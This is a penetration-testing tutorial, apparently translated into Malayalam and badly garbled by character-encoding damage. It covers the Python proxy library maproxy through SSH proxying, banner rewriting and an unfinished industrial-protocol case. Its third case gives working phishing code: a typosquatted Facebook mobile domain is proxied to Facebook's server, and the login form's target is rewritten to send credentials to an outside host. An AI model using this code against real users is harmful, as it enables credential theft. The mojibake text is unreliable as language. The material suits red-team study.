เดซเตเดฒเตˆเดฏเดฟเตฝ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเด•

เด•เต‹เดดเตโ€Œเดธเต เดคเตเดŸเด™เตเด™เตเดจเตเดจเดคเดฟเดจเตเดฑเต† เดคเดฒเต‡เดจเตเดจเต เดคเดฏเตเดฏเดพเดฑเดพเด•เตเด•เดฟเดฏเดคเดพเดฃเต เดฒเต‡เด–เดจเดคเตเดคเดฟเดจเตเดฑเต† เดชเดฐเดฟเดญเดพเดท โ€œเดชเต†เดจเตเดฑเดธเตเดฑเตเดฑเต. เดจเตเดดเดžเตเดžเตเด•เดฏเดฑเตเดฑ เดชเดฐเดฟเดถเต‹เดงเดจ เดชเตเดฐเดพเด•เตเดŸเต€เดธเต".

เดซเตเดฒเตˆเดฏเดฟเตฝ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเด•

เดตเตเดฏเดพเด–เตเดฏเดพเดจเด‚

เดฑเต†เด—เตเดฒเตผ เดชเต†เดจเต†เดŸเตเดฐเต‡เดทเตป เดŸเต†เดธเตเดฑเตเดฑเดฟเด‚เด—เตเด‚ เดฑเต†เดกเต เดŸเต€เด‚ เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เดณเตเด‚ เดฎเตเดคเตฝ IoT/ICS เด‰เดชเด•เดฐเดฃเด™เตเด™เดณเตเด‚ SCADA เดนเดพเด•เตเด•เดฟเด‚เด—เต เดตเดฐเต†เดฏเตเดณเตเดณ เดตเดฟเดตเดฟเดง เดคเดฐเดคเตเดคเดฟเดฒเตเดณเตเดณ เดธเตเดฐเด•เตเดทเดพ เดตเดฟเดฒเดฏเดฟเดฐเตเดคเตเดคเดฒเตเด•เดณเดฟเตฝ เดฌเตˆเดจเดฑเดฟ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เดณเตเด•เดณเตเดฎเดพเดฏเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเดคเต เด‰เตพเดชเตเดชเต†เดŸเตเดจเตเดจเต, เด…เดคเดพเดฏเดคเต, เด•เตเดฒเดฏเตปเตเดฑเดฟเดจเตเด‚ เดŸเดพเตผเด—เต†เดฑเตเดฑเดฟเดจเตเดฎเดฟเดŸเดฏเดฟเดฒเตเดณเตเดณ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑเดฏเต† เดคเดŸเดธเตเดธเดชเตเดชเต†เดŸเตเดคเตเดคเตเด•เดฏเตเด‚ เดชเดฐเดฟเดทเตโ€Œเด•เตเด•เดฐเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต. Wireshark, Tcpdump เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ Scapy เดชเต‹เดฒเตเดณเตเดณ เดŸเต‚เดณเตเด•เตพ เด‰เดณเตเดณเดคเดฟเดจเดพเตฝ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดŸเตเดฐเดพเดซเดฟเด•เต เดธเตโ€Œเดจเดฟเดซเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเต เดฌเตเดฆเตเดงเดฟเดฎเตเดŸเตเดŸเตเดณเตเดณ เด•เดพเดฐเตเดฏเดฎเดฒเตเดฒ, เดชเด•เตเดทเต‡ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดตเดพเดฏเดฟเด•เตเด•เดพเดจเตเด‚ เดซเดฟเตฝเดŸเตเดŸเตผ เดšเต†เดฏเตเดฏเดพเดจเตเด‚ เดฎเดพเดฑเตเดฑเดพเดจเตเด‚ เดžเด™เตเด™เตพเด•เตเด•เต เดเดคเต†เด™เตเด•เดฟเดฒเตเด‚ เดคเดฐเดคเตเดคเดฟเดฒเตเดณเตเดณ เด‡เตปเตเดฑเตผเดซเต‡เดธเต เด†เดตเดถเตเดฏเดฎเดพเดฏเดคเดฟเดจเดพเตฝ เดชเดฐเดฟเดทเตโ€Œเด•เตเด•เดฐเดฃเด‚ เด•เต‚เดŸเตเดคเตฝ เด…เดงเตเดตเดพเดจเดฎเตเดณเตเดณ เดœเต‹เดฒเดฟเดฏเดพเดฃเต†เดจเตเดจเต เดคเต‹เดจเตเดจเตเดจเตเดจเต. เด…เดคเต เดชเดฑเดจเตเดจเตเดฏเดฐเตเด•เดฏเตเด‚ เดเด•เดฆเต‡เดถเด‚ เดคเดคเตเดธเดฎเดฏเด‚ เดŸเดพเตผเด—เต†เดฑเตเดฑเต เดนเต‹เดธเตเดฑเตเดฑเดฟเดฒเต‡เด•เตเด•เต เดคเดฟเดฐเดฟเด•เต† เด…เดฏเดฏเตเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเด•. เด•เต‚เดŸเดพเดคเต†, เด…เดคเตเดคเดฐเด‚ เด’เดฐเต เด‰เดชเด•เดฐเดฃเด‚ เด’เดจเตเดจเดฟเดฒเดงเดฟเด•เด‚ เดธเดฎเดพเดจเตเดคเดฐ เด•เดฃเด•เตเดทเดจเตเด•เดณเดฟเตฝ เดธเตเดตเดฏเดฎเต‡เดต เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เด‡เดทเตเดŸเดพเดจเตเดธเตƒเดคเดฎเดพเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดคเดพเตฝ เด…เดคเต เด…เดจเตเดฏเต‹เดœเตเดฏเดฎเดพเดฃเต.

เด’เดฐเต เดฆเดฟเดตเดธเด‚ เดžเดพเตป เด’เดฐเต เด‰เดชเด•เดฐเดฃเด‚ เด•เดฃเตเดŸเต†เดคเตเดคเดฟ maproxy, เดกเต‹เด•เตเดฏเตเดฎเต†เตปเตเดฑเต‡เดทเตป เดชเต†เดŸเตเดŸเต†เดจเตเดจเต เดŽเดจเดฟเด•เตเด•เต เด…เดคเต เดตเตเดฏเด•เตเดคเดฎเดพเด•เตเด•เดฟ maproxy - เดŽเดจเดฟเด•เตเด•เต เดตเต‡เดฃเตเดŸเดคเต เดฎเดพเดคเตเดฐเด‚. เด‡เดคเต เดตเดณเดฐเต† เดฒเดณเดฟเดคเดตเตเด‚ เดตเตˆเดตเดฟเดงเตเดฏเดฎเดพเตผเดจเตเดจเดคเตเด‚ เดŽเดณเตเดชเตเดชเดคเตเดคเดฟเตฝ เด•เตเดฐเดฎเต€เด•เดฐเดฟเด•เตเด•เดพเดตเตเดจเตเดจเดคเตเดฎเดพเดฏ TCP เดชเตเดฐเต‹เด•เตเดธเดฟเดฏเดพเดฃเต. เดจเดฟเดฐเดตเดงเดฟ เดธเดฎเดพเดจเตเดคเดฐ เด•เดฃเด•เตเดทเดจเตเด•เตพ เด•เตˆเด•เดพเดฐเตเดฏเด‚ เดšเต†เดฏเตเดฏเดพเตป เด•เดดเดฟเดฏเตเดฎเต‹ เดŽเดจเตเดจเดฑเดฟเดฏเดพเตป ICS เด‰เดชเด•เดฐเดฃเด™เตเด™เตพ เด‰เตพเดชเตเดชเต†เดŸเต† (เดงเดพเดฐเดพเดณเด‚ เดชเดพเด•เตเด•เดฑเตเดฑเตเด•เตพ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เตเดจเตเดจ) เดธเดพเดฎเดพเดจเตเดฏเด‚ เดธเด™เตเด•เต€เตผเดฃเตเดฃเดฎเดพเดฏ เดจเดฟเดฐเดตเดงเดฟ เด†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเดจเตเด•เดณเดฟเตฝ เดžเดพเตป เดˆ เดŸเต‚เตพ เดชเดฐเต€เด•เตเดทเดฟเดšเตเดšเต, เดŸเต‚เตพ เดจเดจเตเดจเดพเดฏเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเต.

เดซเตเดฒเตˆ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เดˆ เดฒเต‡เด–เดจเด‚ เดจเดฟเด™เตเด™เดณเต† เดชเดฐเดฟเดšเดฏเดชเตเดชเต†เดŸเตเดคเตเดคเตเด‚ maproxy.

เดชเต†เดพเดคเต เด…เดตเดฒเต‡เดพเด•เดจเด‚

เด‰เดชเด•เดฐเดฃเด‚ maproxy เดชเตˆเดคเตเดคเดฃเดฟเดฒเต† เดœเดจเดชเตเดฐเดฟเดฏเดตเตเด‚ เดฎเตเดคเดฟเตผเดจเตเดจเดคเตเดฎเดพเดฏ เด…เดธเดฟเตปเด•เตเดฐเดฃเดธเต เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เดฟเด‚เด—เต เดšเดŸเตเดŸเด•เตเด•เต‚เดŸเดพเดฏ เดŸเตŠเตผเดฃเดพเดกเต‹เดฏเต† เด…เดŸเดฟเดธเตเดฅเดพเดจเดฎเดพเด•เตเด•เดฟเดฏเตเดณเตเดณเดคเดพเดฃเต.

เดชเตŠเดคเตเดตเต‡, เด‡เดคเดฟเดจเต เดจเดฟเดฐเดตเดงเดฟ เดฎเต‹เดกเตเด•เดณเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เดพเตป เด•เดดเดฟเดฏเตเด‚:

  • TCP:TCP - เดŽเตปเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดšเต†เดฏเตเดฏเดพเดคเตเดค TCP เด•เดฃเด•เตเดทเดจเตเด•เตพ;
  • TCP:SSL ะธ SSL:TCP - เดตเตบ-เดตเต‡ เดŽเตปเด•เตเดฐเดฟเดชเตเดทเตป เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต;
  • SSL:SSL - เดŸเต-เดตเต‡ เดŽเตปเด•เตเดฐเดฟเดชเตเดทเตป.

เด‡เดคเต เด’เดฐเต เดฒเตˆเดฌเตเดฐเดฑเดฟ เด†เดฏเดฟเดŸเตเดŸเดพเดฃเต เดตเดฐเตเดจเตเดจเดคเต. เดชเต†เดŸเตเดŸเต†เดจเตเดจเตเดณเตเดณ เดคเตเดŸเด•เตเด•เดคเตเดคเดฟเดจเดพเดฏเดฟ, เดชเตเดฐเดงเดพเดจเด‚ เดชเตเดฐเดคเดฟเดซเดฒเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจ เด‰เดฆเดพเดนเดฐเดฃ เดซเดฏเดฒเตเด•เตพ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดพเด‚ เดฒเตˆเดฌเตเดฐเดฑเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เตพ:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

เด•เต‡เดธเต 1 - เดฒเดณเดฟเดคเดฎเดพเดฏ เดฆเตเดตเดฟเดฆเดฟเดถ เดชเตเดฐเต‹เด•เตเดธเดฟ

เด…เดŸเดฟเดธเตเดฅเดพเดจเดชเต†เดŸเตเดคเตเดคเดฟ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

เดธเตเดฅเดฟเดฐเดฎเดพเดฏเดฟ ProxyServer() เดฐเดฃเตเดŸเต เด†เตผเด—เตเดฏเตเดฎเต†เตปเตเดฑเตเด•เตพ เดŽเดŸเตเด•เตเด•เตเดจเตเดจเต - เด•เดฃเด•เตเดทเตป เดฒเตŠเด•เตเด•เต‡เดทเดจเตเด‚ เดŸเดพเตผเด—เต†เดฑเตเดฑเต เดชเต‹เตผเดŸเตเดŸเตเด‚. server.listen() เด’เดฐเต เดตเดพเดฆเด‚ เดŽเดŸเตเด•เตเด•เตเดจเตเดจเต - เด‡เตปเด•เดฎเดฟเด‚เด—เต เด•เดฃเด•เตเดทเตป เด•เต‡เตพเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดชเต‹เตผเดŸเตเดŸเต.

เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เตเดจเตเดจเต:

# python tcp2tcp.py

เดŸเต†เดธเตเดฑเตเดฑเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต, เดžเด™เตเด™เดณเตเดŸเต† เดชเตเดฐเต‹เด•เตเดธเดฟ เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดตเดดเดฟ เดžเด™เตเด™เตพ เด’เดฐเต เดชเตเดฐเดพเดฆเต‡เดถเดฟเด• SSH เดธเต†เตผเดตเดฑเดฟเดฒเต‡เด•เตเด•เต เด•เดฃเด•เตเดฑเตเดฑเตเดšเต†เดฏเตเดฏเดพเตป เดชเต‹เด•เตเดจเตเดจเต, เด…เดคเต เดถเตเดฐเดฆเตเดงเดฟเด•เตเด•เตเดจเตเดจเต 2222/tcp เดชเต‹เตผเดŸเตเดŸเต เด’เดฐเต เดธเดพเดงเดพเดฐเดฃ เดชเต‹เตผเดŸเตเดŸเดฟเดฒเต‡เด•เตเด•เต เดฌเดจเตเดงเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเต 22/tcp SSH เดธเต†เตผเดตเดฑเตเด•เตพ:

เดซเตเดฒเตˆเดฏเดฟเตฝ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเด•

เดžเด™เตเด™เดณเตเดŸเต† เด‰เดฆเดพเดนเดฐเดฃ เดธเตโ€Œเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดŸเตเดฐเดพเดซเดฟเด•เตเด•เต เดตเดฟเดœเดฏเด•เดฐเดฎเดพเดฏเดฟ เดชเตเดฐเต‹เด•เตโ€Œเดธเดฟ เดšเต†เดฏเตโ€Œเดคเดคเดพเดฏเดฟ เดธเตเดตเดพเด—เดค เดฌเดพเดจเตผ เดจเดฟเด™เตเด™เดณเต† เด…เดฑเดฟเดฏเดฟเด•เตเด•เตเดจเตเดจเต.

เด•เต‡เดธเต 2 - เดกเดพเดฑเตเดฑ เดชเดฐเดฟเดทเตเด•เตเด•เดฐเดฃเด‚

เดฎเดฑเตเดฑเตŠเดฐเต เดกเต†เดฎเต‹ เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต logging_proxy.py เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑเดฏเตเดฎเดพเดฏเดฟ เดธเด‚เดตเดฆเดฟเด•เตเด•เดพเตป เด…เดจเตเดฏเต‹เดœเตเดฏเด‚. เดจเดฟเด™เตเด™เดณเตเดŸเต† เดฒเด•เตเดทเตเดฏเด‚ เดจเต‡เดŸเตเดจเตเดจเดคเดฟเดจเต เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดชเดฐเดฟเดทเตโ€Œเด•เตเด•เดฐเดฟเด•เตเด•เดพเดตเตเดจเตเดจ เด•เตเดฒเดพเดธเต เดฐเต€เดคเดฟเด•เดณเต† เดซเดฏเดฒเดฟเดฒเต† เด…เดญเดฟเดชเตเดฐเดพเดฏเด™เตเด™เตพ เดตเดฟเดตเดฐเดฟเด•เตเด•เตเดจเตเดจเต:

เดซเตเดฒเตˆเดฏเดฟเตฝ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเด•

เดเดฑเตเดฑเดตเตเด‚ เดฐเดธเด•เดฐเดฎเดพเดฏ เด•เดพเดฐเตเดฏเด‚ เด‡เดตเดฟเดŸเต†เดฏเตเดฃเตเดŸเต:

  • on_c2p_done_read - เด•เตเดฒเดฏเตปเตเดฑเดฟเตฝ เดจเดฟเดจเตเดจเต เดธเต†เตผเดตเดฑเดฟเดฒเต‡เด•เตเด•เตเดณเตเดณ เดตเดดเดฟเดฏเดฟเตฝ เดกเดพเดฑเตเดฑ เดคเดŸเดธเตเดธเดชเตเดชเต†เดŸเตเดคเตเดคเตเดจเตเดจเดคเดฟเดจเต;
  • on_p2s_done_read - เดตเดฟเดชเดฐเต€เดคเดฎเดพเดฏเดฟ.

เดธเต†เตผเดตเตผ เด•เตเดฒเดฏเตปเตเดฑเดฟเดฒเต‡เด•เตเด•เต เดฎเดŸเด™เตเด™เตเดจเตเดจ SSH เดฌเดพเดจเตผ เดฎเดพเดฑเตเดฑเดพเตป เดถเตเดฐเดฎเดฟเด•เตเด•เดพเด‚:

[โ€ฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โ€ฆ]

เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดฏเตเด•:

เดซเตเดฒเตˆเดฏเดฟเตฝ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเด•

เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด•เดพเดฃเดพเดจเดพเด•เตเดจเตเดจเดคเตเดชเต‹เดฒเต†, เด•เตเดฒเดฏเตปเตเดฑเดฟเตปเตเดฑเต† SSH เดธเต†เตผเดตเตผ เดจเดพเดฎเด‚ เดฎเดพเดฑเตเดฑเดฟเดฏเดคเดฟเดจเดพเตฝ เด•เตเดฒเดฏเตปเตเดฑเต เดคเต†เดฑเตเดฑเดฟเดฆเตเดงเดฐเดฟเด•เตเด•เดชเตเดชเต†เดŸเตเดŸเต ยซDumnySSHยป.

เดซเตเดฒเตˆเดฏเดฟเตฝ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเด•

เด•เต‡เดธเต 3 - เดฒเดณเดฟเดคเดฎเดพเดฏ เดซเดฟเดทเดฟเด‚เด—เต เดตเต†เดฌเต เดชเต‡เดœเต

เดˆ เด‰เดชเด•เดฐเดฃเด‚ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เด…เดจเดจเตเดคเดฎเดพเดฏ เดตเดดเดฟเด•เดณเตเดฃเตเดŸเต. เด‡เดคเตเดคเดตเดฃ เดฑเต†เดกเต เดŸเต€เด‚ เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เดณเตเดŸเต† เดญเดพเด—เดคเตเดคเต เดจเดฟเดจเตเดจเต เด•เต‚เดŸเตเดคเตฝ เดชเตเดฐเดพเดฏเต‹เด—เดฟเด•เดฎเดพเดฏ เด’เดจเตเดจเดฟเดฒเต‡เด•เตเด•เต เดถเตเดฐเดฆเตเดง เด•เต‡เดจเตเดฆเตเดฐเต€เด•เดฐเดฟเด•เตเด•เดพเด‚. เดจเดฎเตเด•เตเด•เต เดฒเดพเตปเดกเดฟเด‚เด—เต เดชเต‡เดœเต เด…เดจเตเด•เดฐเดฟเด•เตเด•เดพเด‚ m.facebook.com เด•เต‚เดŸเดพเดคเต† เดฎเดจเดƒเดชเต‚เตผเดตเดฎเดพเดฏ เด…เด•เตเดทเดฐเดคเตเดคเต†เดฑเตเดฑเตเดณเตเดณ เด’เดฐเต เด‡เดทเตโ€ŒเดŸเดพเดจเตเดธเตƒเดค เดกเตŠเดฎเต†เดฏเตเตป เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเด•, เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, m.facebok.com. เดกเต†เดฎเต‹เตบเดธเตโ€ŒเดŸเตเดฐเต‡เดทเตป เด†เดตเดถเตเดฏเด™เตเด™เตพเด•เตเด•เดพเดฏเดฟ, เดกเตŠเดฎเต†เดฏเตเตป เดžเด™เตเด™เตพ เดฐเดœเดฟเดธเตเดฑเตเดฑเตผ เดšเต†เดฏเตเดคเดคเดพเดฃเต†เดจเตเดจเต เด•เดฐเตเดคเตเด•.

เดžเด™เตเด™เดณเตเดŸเต† เด‡เดฐเด•เดณเตเดŸเต† เดชเตเดฐเต‹เด•เตเดธเดฟ, เดŽเดธเตเดŽเดธเตเดŽเตฝ เดธเตเดŸเตเดฐเต€เด‚ เดŽเดจเตเดจเดฟเดตเดฏเตเดฎเดพเดฏเดฟ เดซเต‡เดธเตเดฌเตเด•เตเด•เต เดธเต†เตผเดตเดฑเดฟเดฒเต‡เด•เตเด•เต เดŽเตปเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดšเต†เดฏเตเดฏเดพเดคเตเดค เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เด•เดฃเด•เตเดทเตป เดžเด™เตเด™เตพ เดธเตเดฅเดพเดชเดฟเด•เตเด•เดพเตป เดชเต‹เด•เตเดจเตเดจเต (31.13.81.36). เดˆ เด‰เดฆเดพเดนเดฐเดฃเด‚ เดชเตเดฐเดตเตผเดคเตเดคเดจเด•เตเดทเดฎเดฎเดพเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต, เดžเด™เตเด™เตพเด•เตเด•เต HTTP เดนเต‹เดธเตเดฑเตเดฑเต เดนเต†เดกเตผ เดฎเดพเดฑเตเดฑเดฟ เดถเดฐเดฟเดฏเดพเดฏ เดนเต‹เดธเตเดฑเตเดฑเตเดจเดพเดฎเด‚ เดจเตฝเด•เต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต, เด•เต‚เดŸเดพเดคเต† เดชเตเดฐเดคเดฟเด•เดฐเดฃ เด•เด‚เดชเตเดฐเดทเตป เดžเด™เตเด™เตพ เดชเตเดฐเดตเตผเดคเตเดคเดจเดฐเดนเดฟเดคเดฎเดพเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเด‚, เด…เดคเดฟเดจเดพเตฝ เดžเด™เตเด™เตพเด•เตเด•เต เด‰เดณเตเดณเดŸเด•เตเด•เด™เตเด™เตพ เดŽเดณเตเดชเตเดชเดคเตเดคเดฟเตฝ เด†เด•เตเดธเดธเต เดšเต†เดฏเตเดฏเดพเตป เด•เดดเดฟเดฏเตเด‚. เด†เดคเตเดฏเดจเตเดคเดฟเด•เดฎเดพเดฏเดฟ เดžเด™เตเด™เตพ HTML เดซเต‹เด‚ เดฎเดพเดฑเตเดฑเดฟเดธเตเดฅเดพเดชเดฟเด•เตเด•เตเด‚, เด…เดคเตเดตเดดเดฟ Facebook-เตปเตเดฑเต† เดธเต†เตผเดตเดฑเตเด•เตพเด•เตเด•เต เดชเด•เดฐเด‚ เดฒเต‹เด—เดฟเตป เด•เตเดฐเต†เดกเตปเดทเตเดฏเดฒเตเด•เตพ เดžเด™เตเด™เตพเด•เตเด•เต เด…เดฏเดฏเตโ€Œเด•เตเด•เตเด‚:

[โ€ฆ]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ml/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โ€ฆ]

เดšเตเดฐเตเด•เตเด•เดคเตเดคเดฟเตฝ:

เดซเตเดฒเตˆเดฏเดฟเตฝ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเด•

เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด•เดพเดฃเดพเดจเดพเด•เตเดจเตเดจเดคเตเดชเต‹เดฒเต†, เดฏเดฅเดพเตผเดคเตเดฅ เดธเตˆเดฑเตเดฑเต เดฎเดพเดฑเตเดฑเดฟเดธเตเดฅเดพเดชเดฟเด•เตเด•เดพเตป เดžเด™เตเด™เตพเด•เตเด•เต เด•เดดเดฟเดžเตเดžเต.

เด•เต‡เดธเต 4 - เดชเต‹เตผเดŸเตเดŸเดฟเด‚เด—เต เด‡เดฅเตผเดจเต†เดฑเตเดฑเต/IP

เดชเตเดฐเต‹เด—เตเดฐเดพเดฎเดฌเดฟเตพ เด•เตบเดŸเตเดฐเต‹เดณเดฑเตเด•เตพ (PLC), I/O เดฎเตŠเดกเตเดฏเต‚เดณเตเด•เตพ, เดกเตเดฐเตˆเดตเตเด•เตพ, เดฑเดฟเดฒเต‡เด•เตพ, เดฒเดพเดกเตผ เดชเตเดฐเต‹เด—เตเดฐเดพเดฎเดฟเด‚เด—เต เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟเด•เตพ เดคเตเดŸเด™เตเด™เดฟ เดจเดฟเดฐเดตเดงเดฟ เดตเตเดฏเดพเดตเดธเดพเดฏเดฟเด• เด‰เดชเด•เดฐเดฃเด™เตเด™เดณเตเด‚ เดธเต‹เดซเตเดฑเตเดฑเตโ€Œเดตเต†เดฏเดฑเตเด•เดณเตเด‚ (ICS/SCADA) เดžเดพเตป เด•เตเดฑเดšเตเดšเต เด•เดพเดฒเดฎเดพเดฏเดฟ เด•เตˆเด•เดพเดฐเตเดฏเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต. เดตเตเดฏเดพเดตเดธเดพเดฏเดฟเด• เด•เดพเดฐเตเดฏเด™เตเด™เตพ เด‡เดทเตเดŸเดชเตเดชเต†เดŸเตเดจเตเดจเดตเตผเด•เตเด•เตเดณเตเดณเดคเดพเดฃเต เดˆ เด•เต‡เดธเต. เด…เดคเตเดคเดฐเด‚ เดชเดฐเดฟเดนเดพเดฐเด™เตเด™เตพ เดนเดพเด•เตเด•เต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเต เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เดณเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดธเดœเต€เดตเดฎเดพเดฏเดฟ เด•เดณเดฟเด•เตเด•เตเดจเตเดจเดคเต เด‰เตพเดชเตเดชเต†เดŸเตเดจเตเดจเต. เด‡เดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจ เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเตฝ, เดจเดฟเด™เตเด™เตพเด•เตเด•เต ICS/SCADA เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดŸเตเดฐเดพเดซเดฟเด•เตเด•เต เดŽเด™เตเด™เดจเต† เดชเดฐเดฟเดทเตโ€Œเด•เตเด•เดฐเดฟเด•เตเด•เดพเดฎเต†เดจเตเดจเต เด•เดพเดฃเดฟเด•เตเด•เดพเตป เดžเดพเตป เด†เด—เตเดฐเดนเดฟเด•เตเด•เตเดจเตเดจเต.

เด‡เดคเดฟเดจเดพเดฏเดฟ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด‡เดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจเดต เด†เดตเดถเตเดฏเดฎเดพเดฃเต:

  • เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดธเตเดจเดฟเดซเตผ, เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เดตเดฏเตผเดทเดพเตผเด•เตเด•เต;
  • เด‡เดฅเตผเดจเต†เดฑเตเดฑเต/IP เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เด’เดฐเต SIP เด‰เดชเด•เดฐเดฃเด‚, เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดทเต‹เดกเดพเตป เดธเต‡เดตเดจเด‚ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เด…เดคเต เด•เดฃเตเดŸเต†เดคเตเดคเดพเดจเดพเด•เตเด‚;
